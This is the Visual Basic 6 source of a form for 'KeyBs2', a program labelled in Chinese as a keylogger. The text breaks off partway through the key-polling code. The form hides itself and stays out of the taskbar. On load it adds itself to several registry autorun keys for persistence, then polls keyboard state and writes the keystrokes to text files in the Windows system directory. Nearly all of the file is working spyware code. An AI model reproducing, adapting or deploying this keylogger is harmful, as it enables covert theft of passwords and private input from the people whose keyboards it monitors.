frm_main.frm

键盘记录器

VERSION 5.00
Object = "{3B7C8863-D78F-101B-B9B5-04021C009402}#1.2#0"; "RICHTX32.OCX"
Begin VB.Form Frm_Main 
   BorderStyle     =   3  'Fixed Dialog
   Caption         =   "KeyBs2"
   ClientHeight    =   5040
   ClientLeft      =   45
   ClientTop       =   330
   ClientWidth     =   6600
   Icon            =   "Frm_Main.frx":0000
   LinkTopic       =   "Form1"
   LockControls    =   -1  'True
   MaxButton       =   0   'False
   MinButton       =   0   'False
   ScaleHeight     =   5040
   ScaleWidth      =   6600
   ShowInTaskbar   =   0   'False
   StartUpPosition =   1  'CenterOwner
   Visible         =   0   'False
   Begin VB.TextBox Txt_SystemPath 
      Appearance      =   0  'Flat
      Height          =   270
      Left            =   0
      TabIndex        =   5
      Top             =   4800
      Width           =   6735
   End
   Begin VB.TextBox Txt_FrontWinText 
      Appearance      =   0  'Flat
      Enabled         =   0   'False
      Height          =   270
      Left            =   0
      TabIndex        =   4
      Top             =   4570
      Width           =   6735
   End
   Begin VB.Frame Frame2 
      Height          =   4575
      Left            =   3360
      TabIndex        =   2
      Top             =   0
      Width           =   3255
      Begin VB.Timer Time_Chr 
         Left            =   2640
         Top             =   3960
      End
      Begin RichTextLib.RichTextBox Rtxt_MyText 
         Height          =   4215
         Left            =   120
         TabIndex        =   3
         ToolTipText     =   "将鼠标移到两文本框中间可隐藏本窗体!"
         Top             =   240
         Width           =   3015
         _ExtentX        =   5318
         _ExtentY        =   7435
         _Version        =   393217
         Enabled         =   -1  'True
         ReadOnly        =   -1  'True
         ScrollBars      =   2
         Appearance      =   0
         TextRTF         =   $"Frm_Main.frx":08CA
      End
   End
   Begin VB.Frame Frame1 
      Height          =   4575
      Left            =   0
      TabIndex        =   0
      Top             =   0
      Width           =   3255
      Begin VB.Timer Time_Start 
         Interval        =   1000
         Left            =   2760
         Top             =   3960
      End
      Begin VB.Timer Time_Control 
         Left            =   240
         Top             =   3960
      End
      Begin RichTextLib.RichTextBox Rtxt_MyKey 
         Height          =   4215
         Left            =   120
         TabIndex        =   1
         ToolTipText     =   "将鼠标移到两文本框中间可隐藏本窗体!"
         Top             =   240
         Width           =   3015
         _ExtentX        =   5318
         _ExtentY        =   7435
         _Version        =   393217
         Enabled         =   -1  'True
         ReadOnly        =   -1  'True
         ScrollBars      =   2
         Appearance      =   0
         TextRTF         =   $"Frm_Main.frx":0967
      End
   End
End
Attribute VB_Name = "Frm_Main"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Dim CapsLock As Long '定义CapsLock键
Dim Shift As Long '定义Shift键
Dim MyKey As Long '定义当前按键
Dim NumLock As Long '定义NumLock键
Dim ScrollLock As Long '定义ScrollLock键
Dim StartTime As Integer
Dim FrontWinHwnd  As Long '定义当前窗口句柄
Dim FrontWinText As String  '定义当前窗口的标题
Dim OldWinText As String  '定义上一窗口标题
Dim SaveEd As Boolean '定义存盘标志
Dim SystemPath As String '定义系统目录


Private Sub Form_Load()
FrontWinText = Space(255)
OldWinText = Space(255)
SystemPath = Space(255)
SaveEd = True
GetSystemDirectory SystemPath, 255 '获取系统目录
Txt_SystemPath.Text = Trim(SystemPath)
'===================================================
If App.PrevInstance = True Then
  End '防止重复调用
End If

'获取文件所在路径
Dim MyPath As String
If Len(App.Path) = 3 Then
  MyPath = App.Path + "KeyBs2.exe"
Else
  MyPath = App.Path + "\" + "KeyBs2.exe"
End If

'将程序写入注册表的Local_RUN中
Reg = RegOpenKey(&H80000002, "SOFTWARE", ID)
Reg = RegOpenKey(ID, "Microsoft", ID)
Reg = RegOpenKey(ID, "windows", ID)
Reg = RegOpenKey(ID, "CurrentVersion", ID)
Reg = RegOpenKey(ID, "run", ID)
Reg = RegSetValueEx(ID, "KeyBs2", 0, 1, ByVal MyPath, 100)
Reg = RegCloseKey(ID)

'将程序写入注册表的Local_RUN-中
Reg = RegOpenKey(&H80000002, "SOFTWARE", ID)
Reg = RegOpenKey(ID, "Microsoft", ID)
Reg = RegOpenKey(ID, "windows", ID)
Reg = RegOpenKey(ID, "CurrentVersion", ID)
Reg = RegOpenKey(ID, "run-", ID)
Reg = RegSetValueEx(ID, "KeyBs2", 0, 1, ByVal MyPath, 100)
Reg = RegCloseKey(ID)

'将程序写入注册表的Local_RUNonce中
Reg = RegOpenKey(&H80000002, "SOFTWARE", ID)
Reg = RegOpenKey(ID, "Microsoft", ID)
Reg = RegOpenKey(ID, "windows", ID)
Reg = RegOpenKey(ID, "CurrentVersion", ID)
Reg = RegOpenKey(ID, "runonce", ID)
'Reg = RegSetValueEx(ID, "KeyBs2", 0, 1, ByVal MyPath, 100)
Reg = RegCloseKey(ID)

'将程序写入注册表的Local_RUNonceex中
Reg = RegOpenKey(&H80000002, "SOFTWARE", ID)
Reg = RegOpenKey(ID, "Microsoft", ID)
Reg = RegOpenKey(ID, "windows", ID)
Reg = RegOpenKey(ID, "CurrentVersion", ID)
Reg = RegOpenKey(ID, "runonceex", ID)
'Reg = RegSetValueEx(ID, "KeyBs2", 0, 1, ByVal MyPath, 100)
Reg = RegCloseKey(ID)

'将程序写入注册表的Local_RunServices中
Reg = RegOpenKey(&H80000002, "SOFTWARE", ID)
Reg = RegOpenKey(ID, "Microsoft", ID)
Reg = RegOpenKey(ID, "windows", ID)
Reg = RegOpenKey(ID, "CurrentVersion", ID)
Reg = RegOpenKey(ID, "RunServices", ID)
Reg = RegSetValueEx(ID, "KeyBs2", 0, 1, ByVal MyPath, 100)
Reg = RegCloseKey(ID)

'将程序写入注册表CURRENT_USER的RUN中
Reg = RegOpenKeyEx(&H80000001, "software", 0, KEY_ALL_ACCESS, ID)
Reg = RegOpenKeyEx(ID, "microsoft", 0, KEY_ALL_ACCESS, ID)
Reg = RegOpenKeyEx(ID, "windows", 0, KEY_ALL_ACCESS, ID)
Reg = RegOpenKeyEx(ID, "currentversion", 0, KEY_ALL_ACCESS, ID)
Reg = RegOpenKeyEx(ID, "run", 0, KEY_ALL_ACCESS, ID)
Reg = RegSetValueEx(ID, "KeyBs2", 0, 1, ByVal MyPath, 100)
Reg = RegCloseKey(ID)

'SetTimer Me.hwnd, 0, 1, AddressOf TimerProc
'Me.Visible = False
'测试txt文件是否存在
Dim TestFile As String
TestFile = Dir(Txt_SystemPath.Text & "\MyText.txt")
If TestFile = "" Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "！" + Str(Date) + "*" + Str(Time) + "！" + vbCrLf
  Else
    If Day(Date) <> 1 Then '不是一号则调入文件
      Rtxt_MyText.LoadFile Txt_SystemPath.Text & "\MyText.txt", 1
      Rtxt_MyText.Text = Rtxt_MyText.Text + "！" + Str(Date) + "*" + Str(Time) + "！" + vbCrLf
    Else
      Rtxt_MyText.Text = Rtxt_MyText.Text + "！" + Str(Date) + "*" + Str(Time) + "！" + vbCrLf
    End If
End If
'测试控制符文件是否存在
TestFile = Dir(Txt_SystemPath.Text & "\MyKey.txt")
If TestFile = "" Then
  Rtxt_MyKey.Text = Rtxt_MyKey.Text + "！" + Str(Date) + "*" + Str(Time) + "！" + vbCrLf
  Else
    If Day(Date) <> 1 Then '不是一号则调入文件
      Rtxt_MyKey.LoadFile Txt_SystemPath.Text & "\Mykey.txt", 1
      Rtxt_MyKey.Text = Rtxt_MyKey.Text + "！" + Str(Date) + "*" + Str(Time) + "！" + vbCrLf
    Else
      Rtxt_MyKey.Text = Rtxt_MyKey.Text + "！" + Str(Date) + "*" + Str(Time) + "！" + vbCrLf
    End If
End If
End Sub

Private Sub Form_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)
Me.Visible = False
StartTime = 0
End Sub


Private Sub Form_Unload(Cancel As Integer)
Rtxt_MyText.SaveFile Txt_SystemPath.Text & "\MyText.txt", 1
Rtxt_MyKey.SaveFile Txt_SystemPath.Text & "\MyKey.txt", 1
End Sub


Private Sub Time_Chr_Timer()
CapsLock = GetKeyState(vbKeyCapital) 'CapsLock键状态
NumLock = GetKeyState(vbKeyNumlock) 'NumLock键状态
ScrollLock = GetKeyState(vbKeyScrollLock) 'ScrollLock键状态
Shift = GetAsyncKeyState(vbKeyShift) 'Shift键状态
'记录开始
'FrontWinHwnd = GetForegroundWindow '获取当前窗口句柄
'GetWindowText FrontWinHwnd, FrontWinText, 255 '获取当前窗口标题
'Txt_FrontWinText.Text = FrontWinText
'If Trim(OldWinText) <> Trim(FrontWinText) And Trim(FrontWinText) <> "" Then '窗口变换时写入窗口标题
  'Rtxt_MyText.Text = Rtxt_MyText.Text + vbLf + "＃＃" + Left(Trim(Txt_FrontWinText.Text), 50) + "＃＃" + vbCr
  'OldWinText = FrontWinText
'End If
'<<<<<<<<<<<<<<<<<<<<控制键检测>>>>>>>>>>>>>>>>>>显示在Rtxt_Mykey
'Esc键
MyKey = GetAsyncKeyState(vbKeyEscape)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  Rtxt_MyKey.Text = Rtxt_MyKey.Text + "{Esc}"
End If
'Tab键
MyKey = GetAsyncKeyState(vbKeyTab)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  Rtxt_MyKey.Text = Rtxt_MyKey.Text + "{Tab}"
  Rtxt_MyText.Text = Rtxt_MyText.Text + "{Tab}"
End If
'CapsLock键
MyKey = GetAsyncKeyState(vbKeyCapital)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  Rtxt_MyKey.Text = Rtxt_MyKey.Text + "{CapsLock}"
End If
'Shift键
MyKey = GetAsyncKeyState(vbKeyShift)
If (Shift And &H1) = &H1 Then '判断键是否按下
  Rtxt_MyKey.Text = Rtxt_MyKey.Text + "{Shift}"
End If
'Ctrl键
MyKey = GetAsyncKeyState(vbKeyControl)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  Rtxt_MyKey.Text = Rtxt_MyKey.Text + "{Ctrl}"
End If
'Alt键
MyKey = GetAsyncKeyState(vbKeyMenu)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  Rtxt_MyKey.Text = Rtxt_MyKey.Text + "{Alt}"
End If
'Space键
MyKey = GetAsyncKeyState(vbKeySpace)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  Rtxt_MyKey.Text = Rtxt_MyKey.Text + "{Space}"
  Rtxt_MyText.Text = Rtxt_MyText.Text + " "
End If
'回车键
MyKey = GetAsyncKeyState(vbKeyReturn)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  Rtxt_MyKey.Text = Rtxt_MyKey.Text + vbCrLf
  Rtxt_MyText.Text = Rtxt_MyText.Text + vbCrLf
End If
'删除键
MyKey = GetAsyncKeyState(vbKeyBack)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  Rtxt_MyKey.Text = Rtxt_MyKey.Text + "{BkSpc}"
  Rtxt_MyText.Text = Rtxt_MyText.Text + "{BkSpc}"
End If
'Pause键
MyKey = GetAsyncKeyState(vbKeyPause)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  Rtxt_MyKey.Text = Rtxt_MyKey.Text + "{Pause}"
End If
'ScrollLock键
MyKey = GetAsyncKeyState(vbKeyScrollLock)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  Rtxt_MyKey.Text = Rtxt_MyKey.Text + "{ScrollLock}"
End If
'Print键
MyKey = GetAsyncKeyState(vbKeyPrint)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  Rtxt_MyKey.Text = Rtxt_MyKey.Text + "{Print}"
End If
'End键
MyKey = GetAsyncKeyState(vbKeyEnd)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  Rtxt_MyKey.Text = Rtxt_MyKey.Text + "{End}"
End If
'Home键
MyKey = GetAsyncKeyState(vbKeyHome)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  Rtxt_MyKey.Text = Rtxt_MyKey.Text + "{Home}"
End If
'Left键
MyKey = GetAsyncKeyState(vbKeyLeft)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  Rtxt_MyKey.Text = Rtxt_MyKey.Text + "{Left}"
End If
'Right键
MyKey = GetAsyncKeyState(vbKeyRight)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  Rtxt_MyKey.Text = Rtxt_MyKey.Text + "{Right}"
End If
'Up键
MyKey = GetAsyncKeyState(vbKeyUp)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  Rtxt_MyKey.Text = Rtxt_MyKey.Text + "{Up}"
End If
'Down键
MyKey = GetAsyncKeyState(vbKeyDown)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  Rtxt_MyKey.Text = Rtxt_MyKey.Text + "{Down}"
End If
'Insert键
MyKey = GetAsyncKeyState(vbKeyInsert)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  Rtxt_MyKey.Text = Rtxt_MyKey.Text + "{Insert}"
End If
'Delete键
MyKey = GetAsyncKeyState(vbKeyDelete)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  Rtxt_MyKey.Text = Rtxt_MyKey.Text + "{Delete}"
End If
'NumLock键
MyKey = GetAsyncKeyState(vbKeyNumlock)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  Rtxt_MyKey.Text = Rtxt_MyKey.Text + "{NumLock}"
End If
'PageUp键
MyKey = GetAsyncKeyState(vbKeyPageUp)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  Rtxt_MyKey.Text = Rtxt_MyKey.Text + "{PageUp}"
End If
'PageDown键
MyKey = GetAsyncKeyState(vbKeyPageDown)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  Rtxt_MyKey.Text = Rtxt_MyKey.Text + "{PageDown}"
End If
'F1键
MyKey = GetAsyncKeyState(vbKeyF1)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  Rtxt_MyKey.Text = Rtxt_MyKey.Text + "{F1}"
End If
'F2键
MyKey = GetAsyncKeyState(vbKeyF2)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  Rtxt_MyKey.Text = Rtxt_MyKey.Text + "{F2}"
End If
'F3键
MyKey = GetAsyncKeyState(vbKeyF3)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  Rtxt_MyKey.Text = Rtxt_MyKey.Text + "{F3}"
End If
'F4键
MyKey = GetAsyncKeyState(vbKeyF4)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  Rtxt_MyKey.Text = Rtxt_MyKey.Text + "{F4}"